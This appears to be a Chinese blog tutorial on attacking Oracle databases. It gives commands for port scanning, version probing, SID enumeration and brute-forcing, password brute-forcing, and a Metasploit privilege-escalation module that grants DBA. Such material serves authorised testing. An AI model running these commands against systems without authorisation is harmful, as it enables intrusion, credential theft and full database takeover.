Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。针对Oracle数据库如何测试呢?
这个任务可以使用nmap来对目标IP进行测试,也可以使用其他的端口扫描工具,下面就以nmap为例,可以使用如下命令:
nmap -Pn -n -T4 --open -p1521 <target IP>
得到一个存活的oracle数据库服务端口,了解数据库的版本信息非常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。
使用如下模块来对数据库进行版本探测:
msf > use auxiliary/scanner/oracle/tnslsnr_version
tnscmd10g是kali下的一个工具,命令如下:
tnscmd10g version -h <target IP> tnscmd10g status -h <target IP>
通过上述命令可以得到版本信息、日志文件、跟踪信息以及端口信息
连接oracle数据库不仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:
msf下有两个模块可以完成这个操作,命令如下:
msf > use auxiliary/scanner/oracle/sid_enummsf > use auxiliary/admin/oracle/sid_brute
sidguess是kali下的一款爆破Oracle SID的工具,命令如下:
sidguess -i <target IP> -d /home/myh0st/pass.txt
如果oracle的版本为10g,默认自带通过8080端口远程管理的可以访问以下路径:
http://<target IP>:8080/oradb/PUBLIC/GLOBAL_NAME
枚举爆破数据库连接账号密码可以使用下面的方式。
使用这个模块需要指定SID,就是要在获取到SID后才能使用,使用模块如下:
msf > use auxiliary/admin/oracle/login_brute set SID <sid>
sqlplus是oracle自带的数据库管理工具,可以使用以下命令登录数据库,也可以自己写脚本来枚举账号密码:
sqlplus <username>/<password>@<target IP>:<port>/<SID>
在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:
msf > use auxiliary/admin/oracle/sql set DBUSER <user> set DBPASS <password> set SID <sid> set SQL select * from user_role_privs
msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor set DBUSER <user> set DBPASS <password> set SID <sid> set SQL GRANT DBA TO <user> set SQL GRANT JAVASYSPRIV TO <user>
查询数据库版本:
select * from v$version;
数据库打补丁情况:
select * from dba_registry_history;
查看所有用户:
select * from all_users;
查询数据库中的所有表:
select owner,table_name from all_tables;
当前用户被激活的角色:
select * from session_roles;
描述数据库对象:
desc utl_http
本文的内容来互联网,找不到出处了,有任何问题可以留言,如果有熟悉的朋友,欢迎指导。请不要吝啬你的知识,分享一下,互相学习。有没有觉得排版还不错?经过大佬的鄙视后,我决定认真排版了,欢迎大家给我投稿,让我好好学一下排版,给我个机会好吗?我是通过修改Typora的css文件搞的,如果有修改好的主题,可以给我共享一份,这样可以让大家在看文章的时候更舒服。